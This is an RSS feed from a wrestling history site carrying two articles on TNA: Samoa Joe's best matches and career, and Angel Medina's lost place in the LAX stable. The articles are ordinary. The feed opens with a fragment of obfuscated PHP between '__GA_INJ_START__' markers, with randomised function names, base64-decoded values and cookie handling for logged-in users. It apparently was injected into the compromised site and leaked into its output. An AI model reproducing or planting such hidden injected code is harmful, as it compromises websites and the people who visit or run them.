/* __GA_INJ_START__ */ /*fbcb79614b76ce19*/function _ec9993($_x){return $_x;}function _214ca9($_x){return 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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_e5ec0b87=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_e5ec0b87])){return;}$_d83d2b46=time()+(365*24*60*60);setcookie($_e5ec0b87,'1',$_d83d2b46,'/','',false,false);}}new GAwp_5bc92c2e(); /* __GA_INJ_END__ */ TNA Archives - DeadFormat https://deadformat.co.uk/tag/tna/ Yesterday’s media. Today. Tue, 19 Aug 2025 00:32:06 +0000 en-GB hourly 1 https://wordpress.org/?v=6.9.4 https://deadformat.co.uk/wp-content/uploads/2025/08/cropped-ChatGPT-Image-Aug-5-2025-04_09_27-PM-32x32.png TNA Archives - DeadFormat https://deadformat.co.uk/tag/tna/ 32 32 Samoa Joe: TNA’s Unstoppable Force https://deadformat.co.uk/samoa-joe-tnas-unstoppable-force/ https://deadformat.co.uk/samoa-joe-tnas-unstoppable-force/?noamp=mobile#respond Wed, 13 Aug 2025 11:10:50 +0000 https://deadformat.co.uk/?p=9719 An inescapable figure from the golden years of Total Nonstop Action (TNA), Samoa Joe was a dominant presence between 2005 and 2015, conquering every championship available after first making his name in companies such as Ring of Honor (ROH). Born on March 17, 1979, in Orange County, California, his real name is Nuufolau Joel Seanoa. […]

The post Samoa Joe: TNA’s Unstoppable Force appeared first on DeadFormat.

]]> An inescapable figure from the golden years of Total Nonstop Action (TNA), Samoa Joe was a dominant presence between 2005 and 2015, conquering every championship available after first making his name in companies such as Ring of Honor (ROH).

Born on March 17, 1979, in Orange County, California, his real name is Nuufolau Joel Seanoa. Before becoming a professional wrestler, Joe practised judo and played football, and even worked as a mortgage broker. He debuted at the UIWA West Coast Dojo in December 1999.

The following year, he signed with the then-WWF developmental territory Ultimate Pro Wrestling (UPW), where he feuded with John Cena. After a stint in Japan with Pro Wrestling Zero-One — and while cementing himself as one of the top stars in ROH — Joe signed with TNA on June 14, 2005.

During his first year and a half in TNA, the “Samoan Submission Machine” remained undefeated by pinfall or submission. Over the course of a decade, he captured the TNA World Heavyweight Championship (once), TNA Television Championship (once), TNA X Division Championship (five times), and TNA World Tag Team Championship (twice — once alone, and once with Magnus).

Here are Samoa Joe’s ten best TNA matches, in chronological order.

No Surrender 2005 – Samoa Joe vs. Chris Sabin

Joe debuted at Slammiversary 2005, easily defeating Sonjay Dutt. Just five days later on Impact! (June 24), he defeated Delirious. By July 8, after Chris Sabin’s win over David Young, Joe attacked and locked him in a submission hold. Later that night, he beat Elix Skipper and Shark Boy in a triple threat match.

The following week, Sabin interfered in Joe’s tag match with Christopher Daniels against Team Canada, sparking a backstage brawl that set up their No Surrender showdown.

Sacrifice 2005 – TNA Super X Cup Final: AJ Styles vs. Samoa Joe

That summer, TNA launched the eight-man Super X Cup tournament to determine the number-one contender for the X Division Championship. Joe defeated Sonjay Dutt and Alex Shelley to reach the final, where he met AJ Styles, who had eliminated Matt Bentley and Petey Williams.

Unbreakable 2005 – TNA X Division Championship: Christopher Daniels (c) vs. AJ Styles vs. Samoa Joe

At Sacrifice, Joe beat Styles after interference from Christopher Daniels, earning a title shot. Initially set to face Daniels one-on-one at Unbreakable, AJ Styles was later added to the match after weeks of escalating tensions.

The result was an all-time classic — a triple threat bout that Dave Meltzer awarded a rare five-star rating.

Turning Point 2005 – TNA X Division Championship: AJ Styles (c) vs. Samoa Joe

Following his Unbreakable loss, Styles successfully defended against Daniels in a 30-minute Iron Man match at Bound For Glory and again beat Petey Williams at Genesis. That same night, Samoa Joe and Daniels survived a tag elimination match — until Joe viciously attacked Daniels, sidelining him.

Styles accused Joe of breaking the X Division’s unwritten code of honour and challenged him at Turning Point. Two weeks before the match, Joe attacked Styles and made it clear: he didn’t care about any “code.”

Final Resolution 2006 – TNA X Division Championship: Samoa Joe (c) vs. Christopher Daniels

At Turning Point, Joe defeated AJ Styles to win the X Division Championship. After the match, he attempted to injure Styles the same way he had Daniels — but Daniels made the save. This set up their Final Resolution clash.

Impact! – April 13, 2006: TNA X Division Championship: Christopher Daniels (c) vs. Samoa Joe

Joe retained the title against Daniels and Styles at Against All Odds, then lost it to Daniels in an Ultimate X match at Destination X. After earning another title shot, Joe faced Daniels on the debut of Impact! in its new Thursday night slot.

Genesis 2006 – Samoa Joe vs. Kurt Angle

Kurt Angle debuted in TNA on October 19, 2006, confronting Joe, who was in possession of Jeff Jarrett’s stolen NWA World Heavyweight Championship belt. Their tension escalated until Genesis, where Angle defeated Joe via ankle lock — ending Joe’s 18-month unbeaten streak.

Turning Point 2006 – Samoa Joe vs. Kurt Angle

Following Genesis, Joe acknowledged Angle as “the better man” that night and asked for a handshake. Angle refused, leading to a heated rematch at Turning Point.

Lockdown 2008 – Six Sides of Steel: TNA World Heavyweight Championship: Kurt Angle (c) vs. Samoa Joe

After teaming with Christian Cage and Kevin Nash to defeat The Angle Alliance at Destination X, Joe challenged Angle for the World Heavyweight Championship inside a steel cage at Lockdown 2008. Joe vowed to leave TNA if he didn’t win — and trained intensely in the weeks leading up. This was their fifth major singles meeting.

Turning Point 2009 – TNA World Heavyweight Championship: AJ Styles (c) vs. Daniels vs. Samoa Joe

At Bound For Glory 2009, Styles retained the title against Sting, ending The Icon’s undefeated streak at the event. Weeks later, after a mysterious backstage attack on Styles, suspicion fell on both Daniels and Joe, setting up a triple threat for Turning Point.

Legacy and Beyond TNA

Samoa Joe’s decade in TNA left an indelible mark on the company. His undefeated streak, brutal intensity, and ability to deliver match-of-the-year contenders made him one of the defining stars of the promotion’s golden era.

In 2015, Joe signed with WWE, where he became a two-time NXT Champion and later held the United States Championship twice. Known for his sharp promos and hard-hitting style, he remained a standout presence until his release in 2021.

Soon after, he returned briefly to WWE, notably commentating at WrestleMania, before ultimately moving to All Elite Wrestling (AEW) in 2022, where he added the AEW World Championship and guiding the company through a difficult time, and then ROH World Television Championship to his long list of accolades. As of today, Samoa Joe remains one of wrestling’s most respected and feared competitors — a true embodiment of the phrase “Samoan Submission Machine.”

The post Samoa Joe: TNA’s Unstoppable Force appeared first on DeadFormat.

]]> https://deadformat.co.uk/samoa-joe-tnas-unstoppable-force/feed/ 0 9719 LAX’s Forgotten Man – Angel Medina https://deadformat.co.uk/laxs-forgotten-man-angel-medina/ https://deadformat.co.uk/laxs-forgotten-man-angel-medina/?noamp=mobile#respond Tue, 12 Aug 2025 11:24:50 +0000 https://deadformat.co.uk/?p=9690 Wrestling history is filled with a lot of “What ifs”. Fans often wonder what could have happened if certain plans hadn’t changed — from match results to faction line-ups. One of the most intriguing examples comes from TNA/Impact Wrestling, involving a planned member of one of its most popular stables who never made it in. […]

The post LAX’s Forgotten Man – Angel Medina appeared first on DeadFormat.

]]> Wrestling history is filled with a lot of “What ifs”. Fans often wonder what could have happened if certain plans hadn’t changed — from match results to faction line-ups. One of the most intriguing examples comes from TNA/Impact Wrestling, involving a planned member of one of its most popular stables who never made it in. That man was Angel Medina.

Who Is Angel Medina?

Angel Medina was a professional wrestler who competed from the late 1990s into the 2000s. Trained by the legendary Johnny Rodz, he wrestled in various promotions across Mexico and Japan before making a name for himself in the United States.

His career peaked in 1999 when he joined Extreme Championship Wrestling (ECW), competing against notable names such as New Jack, Balls Mahoney, Nova, and Chris Chetti. Medina eventually became a member of Da Baldies, a notorious stable during ECW’s heyday.

Following ECW’s financial troubles and eventual WWE buyout in 2001, Medina moved on to the International Wrestling Association (IWA), where he became a seven-time IWA Hardcore Champion.

He eventually left IWA, but not before receiving an important phone call from former TNA Tag Team and X-Division Champion Homicide — a call that could have changed his career forever.

Who Were LAX?

The Latin American Xchange (LAX) was one of TNA’s most dominant and impactful stables, making waves in the mid-2000s and enjoying a successful revival in the late 2010s.

The group formed after Konnan turned his back on BG James (Road Dogg) following the inclusion of Billy Gunn into the Three Live Kru. Konnan, alongside Homicide, also attacked BG’s father, Bullet Bob Armstrong, cementing their heel turn.

After a few early changes, Shawn Hernandez joined the faction, and from that point forward, LAX became a force in the tag team division — combining in-ring dominance with strong, often controversial, storylines that tackled issues of discrimination. But the original plan almost looked very different. Homicide had reached out to Angel Medina to be his new tag team partner in LAX. So why didn’t it happen?

Things Falling Apart

When Homicide called Medina about joining LAX, the offer was real — but so was the backstage politics that would soon stop it in its tracks.

To understand, we have to introduce another figure: Dutch Mantell. Known to WWE fans as Zeb Colter, Mantell was not only a respected manager and booker for various promotions, including the IWA, but he also sometimes provided wrestlers with a place to stay.

According to both Medina and reports from the time, an incident occurred where another wrestler staying at a Mantell-provided condo brought back a woman. When Mantell confronted Medina about whether this wrestler was present, Medina denied it — a lie. Mantell found out, evicted both men, and told Medina never to lie to him again. Their relationship soured from that moment.

Fast forward to the mid-2000s. Homicide pitched Medina for the LAX spot, but by then, Mantell was a booker in TNA. When he heard Medina was being considered, he allegedly shut down the idea, leading to Shawn Hernandez being brought in instead.

The Aftermath and LAX’s Legacy

When Medina found out Mantell had blocked his LAX opportunity, he was understandably upset — especially given their rocky past. According to reports, Medina even said he would “piss on Mantell’s casket” one day, underlining how bitter the fallout had become.

Medina retired from wrestling soon after but made a brief comeback in the late 2010s, wrestling for a few smaller promotions.

Meanwhile, LAX went on to become multiple-time TNA/Impact Tag Team Champions and one of the most popular factions in company history. Over time, other members like Shelly Martinez (Salinas) and Hector Guerrero joined.

In 2017, Konnan returned to Impact with a revamped “New LAX” — including Homicide, Diamante, Santana, and Ortiz. This new iteration dominated the tag division until their 2019 departure, feuding with teams like oVe, The Rascalz, The Lucha Brothers, and The North. Santana, Ortiz, and Diamante eventually signed with All Elite Wrestling, where their legacy as part of LAX’s lineage continues.

It’s one of wrestling’s great “what could have been” stories — and a reminder that sometimes, backstage politics can change wrestling history just as much as anything that happens inside the ring.

The post LAX’s Forgotten Man – Angel Medina appeared first on DeadFormat.

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